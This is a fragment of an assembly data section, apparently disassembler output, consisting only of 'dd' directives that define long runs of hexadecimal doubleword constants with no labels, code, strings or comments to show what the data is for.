		dd 56740A27h, 13F7D921h, 0CB47FCD8h, 7CF612BAh,	1C792884h
		dd 114A3DBEh, 6B1B3001h, 1862B951h, 0AA420410h,	46736E2Dh
		dd 82D9F2B5h, 0F1AF6C08h, 2813F6F4h, 25BE47C6h,	68711F6Ah
		dd 0BA84D43h, 7609F717h, 3BC1A841h, 290EDAF8h, 54E9E9F9h
		dd 9F68F376h, 0BBA47308h, 0BC427359h, 1B2DF61Ah, 0E05B00D8h
		dd 5A4CAF86h, 126AEC5Fh, 2937717Ch, 2011F20Bh, 0BD00CAACh
		dd 7C5F03C8h, 25227DB8h, 4181C6A1h, 2FE1E940h, 6FB58200h
		dd 4E5C0h, 8017B753h, 0FD30ECF7h, 0D1C6E916h, 0BD55EC88h
		dd 58980294h, 354EEF0Fh, 0D65DFD59h, 7D4AED4Bh,	82DEDD09h
		dd 21E4DF25h, 0FF716F7Eh, 70D0FCBDh, 305A3168h,	594674CCh
		dd 5416EA66h, 0CD4CC01h
		dd 4351040h, 0CC8761A6h, 4504FA09h, 8514B574h, 0A7CBA204h
		dd 0B00312BBh, 0BB4203C6h, 0E9120B5Ch, 51E848A5h, 0DE3B1910h
		dd 3BC70260h, 0C01B5B61h, 9F39AC26h, 0DF981CD3h, 0B414701Ah
		dd 0F545CFBAh, 462C98B7h, 7D54400h, 4135D8F7h, 129F027h
		dd 91630905h, 6651502Eh, 0BBBD02DEh, 0C0308F45h, 57F942Ah
		dd 4FE9495Ah, 6EA38D1Dh, 0FF7487F1h, 5EE19D1Bh,	0E6312B29h
		dd 0B4016C18h, 8A5F3067h, 30EE06C2h, 3696D7E2h,	805AD307h
		dd 0E33360CBh, 0D5EBB1DAh, 2606296Eh, 0A9B512ABh, 683BA4FEh
		dd 0F10DF12Fh, 98E9C16Fh, 1D279794h, 747250CDh,	4EDF2C10h
		dd 0EED33EF8h, 4E11C246h, 0B3B80F34h, 904D53Fh,	1409BFC6h
		dd 9F3E7005h, 54E49951h, 550550A3h, 50583AE9h, 1D259669h
		dd 76255930h, 0F66C1C2Ch, 1F14172Ch, 0E0C0C3BFh, 0A6D5DB06h
		dd 8A459516h, 0ABDA2489h, 0CF80774Eh, 35106927h, 31F90CD3h
		dd 0CEB4950h, 2AA9114Fh, 56120A0Ch, 50EA33F6h, 0C6808F0h
		dd 4A01BF14h, 0E94EFE65h, 4EA43F38h, 0D7680457h, 811BC759h
		dd 2A8DE300h, 0A7BC8A74h, 9528A48Bh, 86E9E291h,	811CA5D8h
		dd 0D1F43CBh, 80E303BBh, 7C1E8962h, 0BE7918A6h,	33378A11h
		dd 252E63Eh, 0B0D9F0F3h, 2071D55Fh, 12059E8Eh, 0DF0EA2AAh
		dd 7F523CD7h, 80B4B6BCh, 456E50DBh, 26025A5Ch, 0C18B6E07h
		dd 0F59184EDh, 0B519A883h, 0FE4FC5EBh, 5A783A9Ch, 20393148h
		dd 56590212h, 4AC15E52h, 1756850h, 25E943C8h, 4A7E85A1h
		dd 0A9BF547Ch, 7789AA5Eh, 3AEB92E8h, 1BC67BC0h,	1754D82Dh
		dd 15EF229h, 9D6B35F0h,	0EC6B614Eh, 7426DE33h, 843EE009h
		dd 1A42E61h, 4B68ECABh,	93594D8h, 0D253EDBCh, 2C2CA25Ch
		dd 63A25F2Dh, 0B4D47F90h, 4E5E246Fh, 0E2E75DE8h, 2055974Ah
		dd 4C5E5C2Ah, 0F9215A32h, 52979F58h, 0E9E578FAh, 48381F34h
		dd 27C7ADAFh, 0FC5770ACh, 1C4B6926h, 26EDE0Fh, 8FB7AB13h
		dd 0FB680E61h, 22F62A2Eh, 86CC5F91h, 97272D5Bh,	17618460h
		dd 5D584792h, 0B5818345h, 0F23EE9BEh, 295B3882h, 0B0D55DEFh
		dd 5A1DE993h, 852BB29Dh, 0B6A80652h, 0A77207CEh, 0D4FB4A31h
		dd 8B23FA2Eh, 0ACAECC68h, 653BC5BFh, 56CBD3F8h,	1817287Eh
		dd 0AFDF67ABh, 2E2D7539h, 353F2FB5h, 54A8809Ah,	29980342h
		dd 0E917ADBAh, 0DDE411F8h, 80374017h, 5809EF16h, 7FEC04EAh
		dd 6B21425h, 0CCA770Bh,	6DBB130Ch, 0EF780BD2h, 0E5E0B505h
		dd 49E77E66h, 52FDE50h,	81451D3Fh, 84BFA8E9h, 2A886404h
		dd 0CD2F134Dh, 5DEB07Dh, 2E1EA909h, 346B602Dh, 65E724F0h
		dd 1CA4764h, 2E244D4Ch,	0C702F1B8h, 1D92021h, 27E95FC0h
		dd 81F492ABh, 0B9F71CEFh, 0DCE680B8h, 2E9F34Dh,	0BF88CD1Fh
		dd 0C7E48191h, 57505146h, 2990C87h, 0B15C9B93h,	0B0D008A0h
		dd 3CB15F14h, 0E384047Eh, 0D514C8h, 620C2C38h, 12BBE581h
		dd 0BF691156h, 2FD051Ch, 88323CCDh, 4816C047h, 20C80970h
		dd 18602DE9h, 1C5D2168h, 39DD8673h, 0B2C63CD1h,	0C63A498h
		dd 192F42B3h, 8162820h,	140B0C34h, 8ADDB5Dh, 0C782627Bh
		dd 0E34557ADh, 8E540AAh, 88CF9B5Ah, 0D427D3D5h,	8457AD46h
		dd 0F98B5889h, 1371F940h, 0BF2CBF07h, 0F88ACE41h, 0A215D340h
		dd 0DCE985B8h, 0C56C5DB1h, 92FDBC25h, 0FA14E475h, 0F9CC5F9Bh
		dd 3668B118h, 8234377Bh, 0FF6C1B6Eh, 44ADB527h,	0E36CBF6Fh
		dd 5E26814h, 2D00DEBDh,	0E929E104h, 0E95A5D41h,	0D2079C9Fh
		dd 0B7BF1F30h, 5BDDE3BDh, 246C29A0h, 0D7C5065Ah, 0FC023B8Ch
		dd 19577C56h, 324A52BFh, 547370FEh, 24CA67B7h, 6200279Ah
		dd 8751CABDh, 0ED816F01h, 12C70D19h, 0A18FC720h, 272037D8h
		dd 57EA1297h, 4C90EE03h, 4E772BF1h, 0DA30A1E7h,	32474ED5h
		dd 51A3F231h, 0D228FE57h, 0A80A9FF3h, 0B18FF72Ch, 980B0525h
		dd 4B53EBD1h, 0DA38C04Dh, 3688AEF5h, 0A0ACAA83h, 7092EAE6h
		dd 0A14E5B32h, 48FD3A4Dh, 4D541581h, 68B4314Bh,	0D65E2DA3h
		dd 0A697095h, 0AAB93AE1h, 958AABD2h, 0FAC4FB4Ah, 0D237A9EBh
		dd 0E5212912h, 0A707A357h, 0FE876CFh, 814BC29Fh, 8877A11Dh
		dd 23EE9084h, 0E912C02Eh, 0B891F82Ah, 7C0B7501h, 1DB8341h
		dd 25A4F712h, 64577D03h, 59323864h, 87EED7CBh, 0E6F05F07h
		dd 610242ACh, 11880C63h, 0F6F520FCh, 5D1F3E00h,	1EE8346h
		dd 6F8D2F68h, 4D48618h,	0CD4F5B24h, 0E27A9302h,	0B400DF56h
		dd 0D132D320h, 0DCBD43F3h, 7023CC81h, 88A803B2h, 0F5D9ABAh
		dd 0E3F202F9h, 430E6410h, 0F5D6921Ah, 0EA055DCCh, 2B6F7BC4h
		dd 580075FDh, 0E90CBD27h, 0AFBC7D48h, 0D9167982h, 4B584077h
		dd 0FAB35808h, 0A9FCCA13h, 0E2E9F3BDh, 63FBA932h, 486889F7h
		dd 0A493ADBFh, 18F7F9BEh, 0EA1735A9h, 0F6139D88h, 23D0A2C1h
		dd 37AB4EE5h, 3936F265h, 898E3057h, 9718BD29h, 0D795AEBFh
		dd 63B76210h, 2DDD2C38h, 2D11F0F8h, 0F0D92684h,	20926CEBh
		dd 2504BF05h, 2F207FCCh, 0F17D08FFh, 9C48308h, 0F955BC76h
		dd 0B908B115h, 70EAE0D4h, 20AF565Fh, 0F187CE03h, 2AE62190h
		dd 7035100h, 63A9BF57h,	89469EEFh, 7E201E5Ch, 39202FA3h
		dd 0C34056B8h, 29C54A29h, 0B8C50066h, 604BBF1Bh, 3E7F2481h
		dd 5A259322h, 8E1030FFh, 80688037h, 928C495Eh, 0D5E8F1h
		dd 0CEEB8139h, 0F71A7A3Bh, 0DB5BD372h, 63E99904h, 0BE0477ACh
		dd 81623691h, 3F3ADDA6h, 7BD93B75h, 55337240h, 0FC684A27h
		dd 80BED39Bh, 395FC9EBh, 12068833h, 5D7CF02h, 40FC1CF2h
		dd 2070A73Bh, 2F09077Ch, 7D2DCA74h, 627DBC12h, 2023E47Dh
		dd 0C082337Ch, 820C44D7h, 0EF5357BEh, 340BF569h, 2C48BE2Ch
		dd 5E08F5Dh, 193767D9h,	0D200D4C5h, 27AB3BC4h, 0E281024Ah
		dd 39491B5Dh, 0B320CFCEh, 0B16813FCh, 0DF5FFC3Dh, 0F10CD68Bh
		dd 0E93BC4Ah, 0BA482498h, 5D590CD2h, 29BFD34Ch,	229784FAh
		dd 0E7FFA8BBh, 278053F3h, 76686B7Bh, 0C9BFF550h, 21928659h
		dd 4B2AAF5Ah, 0A784C749h, 4B883737h, 2D0814F1h,	8D5D1761h
		dd 4EAB3BCFh, 0D1128F4Ch, 3D3D8227h, 7B4C2428h,	0A6D5018Fh
		dd 5A1A1455h, 3C2AA5BFh, 6BC84EAEh, 0EA305AE6h,	0D5A21532h
		dd 0E55FBB8Bh, 0B45B17BFh, 474EE314h, 0EEF492F8h, 97BF91C8h
		dd 82C5ED8Bh, 9D9394A5h, 5C27A17Dh, 0BBC03854h,	26AB58A8h
		dd 693EE95Eh, 60C25D8Bh, 827D2E82h, 0F273C677h,	29D84E64h
		dd 3DBEF15Eh, 52C80256h, 4C4AA468h, 42AF09DBh, 0D509066Bh
		dd 54BD97Fh, 0C8B7EEE9h, 21244960h, 0F201BFE8h,	0C860CDACh
		dd 47720B6Ah, 8C31E085h, 0DBF255D4h, 0FFE3634Fh, 4AB9BD10h
		dd 0EB02CBE8h, 23B652E7h, 0F5E0E15Fh, 0B86A123Ah, 0F285C2B0h
		dd 3A750976h, 0BFA979B1h, 8C2FAD17h, 0BB775FDh,	28037506h
		dd 919AA21Bh, 605DEFC2h, 7C45A012h, 0D0FAF2E5h,	5F0508DAh
		dd 0FE1331E9h, 34538434h, 166B2FFBh, 8D04E8C1h,	0EF40521Fh
		dd 2F3420F8h, 0C8C72928h, 4FD435Dh, 0A4473EC8h,	275BDBEh
		dd 0D36C08B8h, 68ED6031h, 12607A6Eh, 0B55541E9h, 0A6C1F775h
		dd 80109E1Bh, 3009591Eh, 0C7717D4Ah, 9BB118BDh,	746CC183h
		dd 28C984Eh, 0FB5106F1h, 89A70987h, 0D17B71EFh,	91B97073h
		dd 30CD1704h, 4A80FD01h, 90B07C83h, 3CE62ACEh, 55E131B4h
		dd 0F94527A0h, 444842Bh, 10800D6Ch, 0BF73BEE7h,	83F7FDE0h
		dd 54636777h, 0E8369D24h, 18FD8956h, 0A0074EE9h, 711EDBB9h
		dd 809D353Eh, 0F6ACCEE7h
		dd 0BB22BFE1h, 8940886Ch, 13F8D830h, 0A5A8194Fh, 5B5282E4h
		dd 31D97F09h, 50E57A0Fh, 345C8F16h, 0E6A90CDFh,	6B995443h
		dd 0FA64D752h, 25EBBD80h, 58715F82h, 1053D00Eh,	0C09FB885h
		dd 0A83519D8h, 76860A1Dh, 0D709CB40h, 6110E962h, 475B42F0h
		dd 879A404Fh, 0BD4EE3F3h, 65B61EFEh, 0E0088F87h, 80B1515Ah
		dd 0ED9CBA90h, 7DD44225h, 0BFE070D1h, 0E4527A61h, 6B1227E9h
		dd 11011359h, 0E2D12025h, 72FCED71h, 0C21FC91Eh, 404C3F5h
		dd 2D40A72Ah, 53998171h, 0DA0851BBh, 0DEB22A5Bh, 58C22801h
		dd 0EC8EE280h, 0A0B53722h, 550FC14Ch, 54BAB045h, 4A67C277h
		dd 4B7EE62Ch, 648423B9h, 0DE521F17h, 287DCAFAh,	0D6418D54h
		dd 6E3BA56Eh, 0F431A3A5h, 7CAFA26Eh, 4BBB5AB7h,	1038FA59h
		dd 94F69F5Ch, 49037CC9h, 243BE575h, 36608B9h, 9C47827h
		dd 6E645087h, 73E08F7h,	0EA895205h, 0B02B86BFh,	57320969h
		dd 0EE969B5Bh, 0E01985FFh, 2466DA5Eh, 0F252E82Bh, 573C133Dh
		dd 0B6C4FB31h, 0C7F20817h, 824FF94Ah, 77FEFCF9h, 60AD5856h
		dd 7F175610h, 0E74A2706h, 3404CD20h, 34E9968h, 458EB131h
		dd 0C2C5A378h, 0A063AC22h, 95770A94h, 3D5D7260h, 12513A2Ch
		dd 0FE29F40Dh, 6B572640h, 0E97E1761h, 5AB7C0A0h, 414B0C68h
		dd 7F216837h, 0AD4150E8h, 0BE00FDF2h, 2227F6AFh, 2C417D06h
		dd 7B6A3278h, 0BC43D0Ah, 513F8829h, 49C47E08h, 21F179B5h
		dd 0F533A552h, 7FAFA247h, 52CB5E96h, 889E670Bh,	0AD3C12E6h
		dd 5795E877h, 20D89054h, 682F5D61h, 6B91FC31h, 0C10F47DBh
		dd 46C4951h, 0DDB84BBCh, 0BF9A1396h, 80C84C6h, 32221A9Ch
		dd 0A323F727h, 6507CAE6h, 107F59BCh, 0F87E4B39h, 0CA1FD66Dh
		dd 4B85CF6Ch, 0A48C61D7h, 0B84EC47Ch, 0DE945A83h, 7F5FE000h
		dd 69E9673Ah, 0C2DEC3B9h, 1B916802h, 1D5AD6D7h,	0EFC4254Dh
		dd 0D065F6BDh, 504AB968h, 0E9A0B8ECh, 44C73BC4h, 0C67522B2h
		dd 0EFE0F0BEh, 0F3E77AFFh, 0FB4FD44Fh, 8BE96820h, 9C199EAh
		dd 0B5EBF26h, 3FDCF62h,	0F1F9F821h, 0F4FFFF96h,	0B8CAAE3Ch
		dd 0D5CBBA97h, 0BEC78117h, 64AB8A84h, 10CAFDF0h, 0BC4AF32Ch
		dd 39352A9Fh, 12DD9697h, 0FDEE45E9h, 21D7074Fh,	8B21338h
		dd 3E4E556Fh, 75685707h, 752BA341h, 0DE7ED132h,	6C577C07h
		dd 515B0187h, 130CA0F2h, 493F19E9h, 0FEF4C692h,	13999E15h
		dd 75EF3C33h, 0D8622351h, 20EE1384h, 0FEFAD1C4h, 0EA53E59Ch
		dd 2DC6FC11h, 0F7DA2276h, 6CE550A2h, 1385BF00h,	0BF725832h
		dd 0DDC35B75h, 1AA87A14h, 76E0E9E0h, 0FB2469Fh,	185B6C59h
		dd 0BE81C5A5h, 5F60B328h, 0F653D01Bh, 387B0940h, 0EE1A849h
		dd 7FD3F793h, 50C0528h,	52118AD9h, 708F5AC2h, 1C4B68AEh
		dd 0D2075E9Bh, 8B6B3D0Ah, 0A0B1D06Bh, 0CE2F7E4Dh, 0F943EFA9h
		dd 4FFA5D5Fh, 590CCED5h, 0AD0495D4h, 0CD7D0368h, 53E4F819h
		dd 57BA44C1h, 9020F92Ah, 83910ECAh, 528901E8h, 8C739882h
		dd 580CD6F2h, 0EE5BD909h, 2F2117C7h, 36A9907Ah,	74C4C103h
		dd 0F3AFD259h, 8A1C253Dh, 0CE3F0C9Bh, 680BE2A3h, 69B0570Dh
		dd 77012AC2h, 587F2D59h, 0C7067BCh, 2B030493h, 4D83152h
		dd 491D431Dh, 1E04F9B3h, 43A6BF5Ah, 9433FD00h, 0F3A7BE7Ah
		dd 86B7A12Ch, 6709752Dh, 398C48C0h, 0AF8F49C8h,	57AB3AFDh
		dd 0E9136AD2h, 4044206Fh, 0BB3257B8h, 0E995C8D5h, 1BB24C32h
		dd 4C80E6D2h, 7E4D40h, 0D0A8B551h, 73F580E5h, 0C1D2EB61h
		dd 0AA2568AEh, 51218921h, 0A1D07322h, 8D32359h,	9A330CBBh
		dd 566D1211h, 0D73AB30Bh, 616C68EBh, 0D9FFAEAAh, 8B5841C1h
		dd 0A0602C34h, 0C39F07E9h, 8FCF8036h, 0D83AE799h, 5204EDF7h
		dd 12E997B2h, 0C8BF9694h, 5903A0B3h, 0C8216044h, 0F6948CE9h
		dd 726AE1C1h, 8C8600Dh,	0D0B3F15Fh, 20CE2312h, 1E5DBDC8h
		dd 3A0C7E60h, 8061CC16h, 67503DC3h, 74FA88Fh, 4CF7FE28h
		dd 0CB1C2BD2h, 0E93A4444h, 6B12EE71h, 0FCC88CBBh, 2BC91505h
		dd 5B84F701h, 9E90805h,	274653B0h, 8F5E1068h, 0BEF0C876h
		dd 0DE0E5F2Dh, 2F505247h, 43B0AFA5h, 606332E6h,	4277588Ah
		dd 7B68D7CCh, 40806DF8h, 1033002Dh, 0D70D2B01h,	5EAC872h
		dd 97A4210Bh, 0DB817563h, 30DD8955h, 1E935D16h,	754BED24h
		dd 5E98D56Dh, 83801372h, 72B6A605h, 0BEF0F428h,	1AA169A6h
		dd 0D396C056h, 5D19A8A4h, 0DF847B24h, 0F6810459h, 484050FEh
		dd 0E9BFB4D7h, 2C734132h, 0BCDE774Fh, 2E43CF01h, 0CD306376h
		dd 0C50A169Fh, 48A2AC7Fh, 3A671F49h, 0D0214A09h, 3BF600DAh
		dd 31436E66h, 0E5A15EF7h, 894EEC6Ch, 0BE3AF0B5h, 35B56214h
		dd 0A4A7D175h, 9360A763h, 0DD95FD42h, 0D99751B0h, 8B63F582h
		dd 2B3703C1h, 817124AEh, 18EE154h, 3AA5A704h, 7E93BDE9h
		dd 36740E12h, 0A6052F8h, 4C4B2D48h, 10C96D5Ch, 533BE032h
		dd 9696982Ch, 0EE82175Bh, 0D6C4F087h, 0EDE640EEh, 3F970745h
		dd 0C7760CC1h, 0FC7B9594h, 7C8E415Ah, 0C9FAF586h, 0E385421Ah
		dd 805FDC0Bh, 9D03F0A2h, 6C4A2968h, 27816F34h, 0F5215A22h
		dd 7EA5C94h, 0D3895B09h, 0CF84575h, 0C6AF028Ch,	0A217A602h
		dd 57F3013Ch, 5B01B1Eh,	9B83840h, 3DE7FDCh, 0FACBA658h
		dd 693A5788h, 1076057h,	5D53C6EFh, 135B4450h, 68098EF7h
		dd 476417BAh, 84B05006h, 0A124E8C0h, 28D5D023h,	1032B82Bh
		dd 0AC074C99h, 6568D830h, 7A1F302Fh, 8E17B151h,	0DB04E180h
		dd 6122510h, 58F82865h,	5003A298h, 0C48088B4h, 13E6A308h
		dd 90393C5Eh, 0B70ED86Dh, 68514102h, 0DF615A5Fh, 32B4BC20h
		dd 60ED14EEh, 0F0135E18h, 0F8084950h, 15681D61h, 644B4B13h
		dd 0B3AC713Fh, 62AB2E73h, 4EDEEA41h, 0CD4A0EC9h, 0FE2B281Eh
		dd 6FD64F31h, 0C564BE2Bh, 7650AF89h, 95B951h, 816ABC0Dh
		dd 1F63BAE1h, 99D73350h, 48C9233Fh, 0B7F72094h,	68E50380h
		dd 34F87C3Dh, 9CBF2E9Ah, 30669DA4h, 41B93297h, 0B900F54Bh
		dd 643D34ECh, 0F5A97D26h, 70966B5Bh, 34DECB08h,	56FF956h
		dd 469754BFh, 2C39830Bh, 40A3A4Bh, 0C1505117h, 36A623DBh
		dd 8FB2321Ah, 10E04058h, 9B35C69h, 4C5C0910h, 894F2612h
		dd 0C55A57C2h, 58C589B6h, 42970100h, 0C29F5DCCh, 0A0F25128h
		dd 357E41DCh, 2958FDCDh, 0BF95FDCh, 806BB85Fh, 8437EFBBh
		dd 0B2BDF440h, 2C4F90A4h, 44AA81F8h, 484FA902h,	88D901F0h
		dd 0DD205AF3h, 0ABE1846Bh, 0CDFED760h, 5EB30953h, 7892DD30h
		dd 0DC76685Dh, 0B3DF9575h, 78C3D985h, 5E8B513Ch, 0EA42D9BAh
		dd 29E3A4DFh, 903BCBC9h, 11C2BDDEh, 1616F148h, 0DBE64B88h
		dd 89622917h, 32A60059h, 5D021F6Ah, 775FF125h, 0DC51E17Dh
		dd 8DEE8100h, 47276B7Ah, 8EF8829h, 0E3E50C35h, 0EF2228AFh
		dd 0EEDD8759h, 455EB581h, 544E81DAh, 7CCE1C13h,	0B257253Ch
		dd 4FD15546h, 0E306ED42h, 8A09A4C1h, 815FEA5Dh,	0A908CB98h
		dd 0EAEA0820h, 3820D8E9h, 350F09B9h, 42BF37D1h,	0F246D824h
		dd 79C5094Bh, 68D4A93Eh, 3C7A5303h, 0B3180120h,	0E97B5539h
		dd 0AD917FC6h, 0FD2BFD01h, 0E9BC9867h, 302A40BBh, 9420E7A8h
		dd 718D5D82h, 0F7EA6006h, 18DFD0FDh, 427FE927h,	0F1B69370h
		dd 75D287D3h, 9F82B265h, 7D545A49h, 0F76BDFD9h,	0DF68E968h
		dd 0D52FF5BEh, 53C1CA3Ah, 676EEA40h, 1EEA2928h,	93464A21h
		dd 10990854h, 0C80F5C00h, 0A82E4268h, 2584E911h, 0C8DDFEF3h
		dd 80C4CF2Fh, 0C028D2F6h
		dd 0BE3DC3E2h, 0F5957B44h, 42517EB1h, 0F9767C93h, 578A5951h
		dd 4AFC05Ch, 0AB0AF580h, 0B4041C8Bh, 0ABE53094h, 80A015BCh
		dd 283AA4C3h, 0E9EAF2EBh, 0D2B3BC2Eh, 333DC5A0h, 90D1A7Ah
		dd 65EC8153h, 0DC70F008h, 0BDD6702Ch, 50987E6Eh, 0B792579Fh
		dd 0E978AA6Ch, 0FCB8FD6Bh, 0E945EC91h, 0D74BA92Dh, 270E616h
		dd 0BF520CE1h, 59EA3DC8h, 9DFE927h, 0CDF9D599h,	5511CD42h
		dd 82C3A938h, 0C1B0535Fh, 0A0759739h, 0A0049A90h, 0F1569F42h
		dd 5E0B0820h, 7701B951h, 350782BAh, 684FE0EFh, 479C18C7h
		dd 0BF79DC60h, 0E2F2C24Bh, 0F9838151h, 733F1AE1h, 6C4889F3h
		dd 91DA5F5Bh, 17711B0Bh, 0A1815F3Ch, 2B293226h,	56203AE1h
		dd 6887C90Ch, 0F4355857h, 2D3B9E3Eh, 0DEE9C8D9h, 0B1779253h
		dd 82A3172Eh, 0EE750CA4h, 0C28102FBh, 28AC202Bh, 0AF22C05Dh
		dd 1304802Ah, 3AD8B6A1h, 57497400h, 13BCC068h, 0AA5F5240h
		dd 6530FAA5h, 489497D1h, 20F726BDh, 3922951Ch, 66FF1A68h
		dd 18959274h, 456E63E9h, 6F0EB6C3h, 0DF295B18h,	3BC2B957h
		dd 0B9EADD05h, 59D7FC09h, 82D5E9F1h, 0D5F11F0Fh, 0F7FC571Ch
		dd 5595A992h, 60C69899h, 0BA805994h, 0A13F1476h, 122977Fh
		dd 0CF69E92Eh, 0F18E98BAh, 1668BE44h, 1509C67h,	183A1907h
		dd 1013157h, 277AAFEh, 80F7C052h, 0ED964CC2h, 8AC828CCh
		dd 0FDA76391h, 62EFC86h, 0F2734976h, 8DF77FE1h,	9D856A16h
		dd 0D5A50954h, 204710CEh, 0BA251F05h, 8C253962h, 33BC8564h
		dd 4451A44Fh, 4CF7158Ch, 8B25E1D0h, 46B0B05Ah, 246CC02Dh
		dd 2516B37Bh, 0E84AEF8h, 0A7429472h, 4C95ABAh, 8FB5A322h
		dd 0B52D9431h, 0C16B0C69h, 0AB4B2810h, 405DBE00h, 0CE811D84h
		dd 4F5958C4h, 0C7CFE0FBh, 0A02F0241h, 0BB07533Eh, 22B618D9h
		dd 93E02DE4h, 0F9ED3C80h, 4AD99A77h, 2084BA5Ah,	0E5F0B2AFh
		dd 0AD626B3h, 3DFDFE20h, 327EF183h, 0BBD46D18h,	5019E2Ch
		dd 2E7E05D0h, 13E7F6D2h, 971C5357h, 5F311141h, 0B8BBCBBh
		dd 94F7A6E9h, 4BD5F6BCh, 542CB315h, 0DB417EAFh,	2F535F20h
		dd 7856AC4Dh, 943500Fh,	0C328F772h, 5AD78D08h, 51170622h
		dd 400FE92Fh, 1EEDB833h, 8C5E3147h, 0EB8B1FA8h,	0C3AEB50Bh
		dd 7380D80Ah, 0BF7A4E41h, 2DD83181h, 0F2BF0A45h, 2C1B1F9h
		dd 0AA9D247Fh, 683C34A2h, 0C0D4AC4Eh, 9CD67CBEh, 0F33104EFh
		dd 0AAB42CE9h, 0C9CFA2B8h, 0F500C8D5h, 3BF67F3Eh, 26BEEE09h
		dd 0FB6F5C02h, 3AE05D6Eh, 0C3B1E8Dh, 0E71ECF71h, 0C5DFE540h
		dd 400EE989h, 0D0EC525Ah, 36F47249h, 1A55F9Ah, 4CE781CFh
		dd 0DB641455h, 0D95148D9h, 37B07E04h, 0A5E98083h, 0D9F9A64Eh
		dd 560056C9h, 384A554Eh, 40F2894Ch, 2800C6A7h, 0CD817AA1h
		dd 5C3332B3h, 1600B971h, 0F70E0722h, 0ED30D1D5h, 0A67C164Dh
		dd 5A20F112h, 45523926h, 53620C6Fh, 0D6D42EF8h,	0CD008A0h
		dd 0D65D2F14h, 0F6AF6F40h, 447FCD63h, 7677F3D2h, 81DC930Dh
		dd 6A20B5E7h, 273A22FCh, 0E90EDDB3h, 62E9D6E2h,	0CD19DCE5h
		dd 754BA894h, 1C68AE90h, 8E8C395Ah, 5E014073h, 843DA6D4h
		dd 3FF86D55h, 0B83A29CBh, 1216B888h, 0FBDC591h,	0EE095FA0h
		dd 0FF784A9h, 5E180BC7h, 2FB9299h, 303F175Bh, 0C19458C3h
		dd 4157831h, 767CFD01h,	37EDD63Dh, 0F51F3569h, 3414C92Eh
		dd 746BAE7Dh, 64257BDBh, 3FF90099h, 0FC4BC259h,	5B1CC0DEh
		dd 0E91FE278h, 9DAE0B4Eh, 8B4240D7h, 3C60085Bh,	3A49EC2Eh
		dd 0DA292E69h, 6EA0904h, 28D3E04h, 74D83159h, 0FB0B44F4h
		dd 5FF8DB14h, 0E9D878EEh, 77081726h, 98FF5FB5h,	0A5BFEECBh
		dd 0F6EFC605h, 202B58DFh, 0B9C3F07Fh, 0F4D788A7h, 9C97561Dh
		dd 68C3E0D0h, 30715F5Dh, 6670203Dh, 0FA072296h,	29B0B8A4h
		dd 6AD6E9EBh, 2D8AD2Bh,	2D5E209Dh, 0B52501DFh, 1C81C474h
		dd 99ABE8C5h, 16C8422Ch, 891EE90Fh, 654882E5h, 13DAC4EEh
		dd 0EDF963FCh, 0E12D00C6h, 0E9425A4Bh, 3AF56B8Bh, 538FB05Dh
		dd 52BE2568h, 0E98A8271h, 6692BA86h, 41D2A8F1h,	7CE30959h
		dd 0AC8F9D25h, 895338Eh, 1780264Bh, 8B2FF764h, 7E6CB916h
		dd 34BF984Bh, 0D9B3ABD4h, 297CD297h, 1BE99C01h,	0ED51EB7Ch
		dd 1DB3D200h, 0BC164AA8h, 0E9074027h, 44D7A05Bh, 794EC0B0h
		dd 0DD09287Ah, 0E678E784h, 0F7073C94h, 9B32E377h, 0F2C58AE0h
		dd 62D55CB7h, 0AD07DBA0h, 27B602F3h, 37B1E341h,	95E06FC3h
		dd 2E2F1346h, 70290279h, 64410B1Fh, 8123B68h, 8433F3AAh
		dd 91539C68h, 2F37839Eh, 5E46BF76h, 7878920Dh, 51E0117Fh
		dd 0A2D0E0F9h, 0A3809D53h, 652D3A61h, 80CA0120h, 0BCB1E908h
		dd 0F829172Dh, 187B438h, 330A4E60h, 0B1FC20E9h,	68565901h
		dd 0ECF0B97h, 638C8260h, 0D3F71A51h, 2057E02Fh,	164DB24Ah
		dd 0FA897E74h, 1BDE6EE4h, 375C01DFh, 6FF12920h,	83E5BFEDh
		dd 3A036696h, 5172B3BFh, 0EBFED219h, 0EC5AF9D6h, 0D437C25h
		dd 40F1C53h, 51F0008Fh,	0D9F64FB1h, 9490C9F6h, 7A4E8074h
		dd 0A4883BFh, 822A94C9h, 16A2C39Bh, 0E2BCAB76h,	0CF65F73Ch
		dd 0C81AADBFh, 0AC7D7CB8h, 0EB9631D8h, 14477F1Bh, 8258E9BBh
		dd 0DE32CBE9h, 7F8482D7h, 0D188025Ch, 3E200DAh,	0E9433805h
		dd 0C2BCF355h, 581A5675h, 0FAB5DC68h, 54D19D3Bh, 0E009B4C5h
		dd 97C2F8BFh, 0E970C17Eh, 9DF25126h, 0CC3F0801h, 0A543BD2Fh
		dd 123E8AFAh, 0EC08C201h, 0AA288Bh, 2C6639D2h, 0CB499FBDh
		dd 57314425h, 0ACE9ED30h, 0A5B8464Bh, 2CE2EB92h, 499E9B4h
		dd 40D97E65h, 0A258F0B8h, 9D48C001h, 2EF8012Fh,	2205C430h
		dd 7908290Ch, 803A883Fh, 7C65514h, 7FCE129Eh, 75EC01C2h
		dd 11031A44h, 31D82186h, 3BF4F1F0h, 68C9883Fh, 665E410Eh
		dd 7C03727Eh, 0C4EE49E1h, 0E9A3AB12h, 17C4BBA0h, 0DC188827h
		dd 0EC8041B3h, 0F2E8E070h, 47E0D9BFh, 0F71DD2F9h, 4AC3EFE8h
		dd 3403C705h, 0E8A2D909h, 13DC3F10h, 0E8BD69B2h, 0BF36FC7Bh
		dd 0BA13DDC5h, 0F620D5E1h, 123F6662h, 0EA0961FFh, 0BB627F2h
		dd 3E2725E9h, 7F055D92h, 58F45FD0h, 0B03B709Ah,	14A898BDh
		dd 0F213C3F1h, 0EE904E7Bh, 49461980h, 0C4084E64h, 0F0714C4h
		dd 2E54C100h, 0E901522Bh, 0B8606A91h, 4103E6Bh,	16E95125h
		dd 0E5C8EEC3h, 76B3E023h, 26F17626h, 8DEBBBFh, 3117D18Dh
		dd 2BB06805h, 0D8F64B00h, 67218B9Ah, 60C27CDAh,	2909B00Dh
		dd 4A30D54Bh, 512C2A05h, 0BEA29479h, 0CEC548AAh, 94EDFA79h
		dd 7AFCADBCh, 0A141B312h, 31C30BB8h, 0A8FB5CDEh, 14FB482h
		dd 7659E581h, 0EA27CF43h, 2F2C4E12h, 0C3F606B7h, 9DB05001h
		dd 2F282EE9h, 9E02044Ch, 58568531h, 2E88240h, 0BDFE927h
		dd 0DA8EDDEDh, 0F8888E41h, 7E4AC35Bh, 174C44A3h, 265E9901h
		dd 2E19E914h, 0D929F4C1h, 0AF4F8D76h, 4AEC8628h, 44C9FE77h
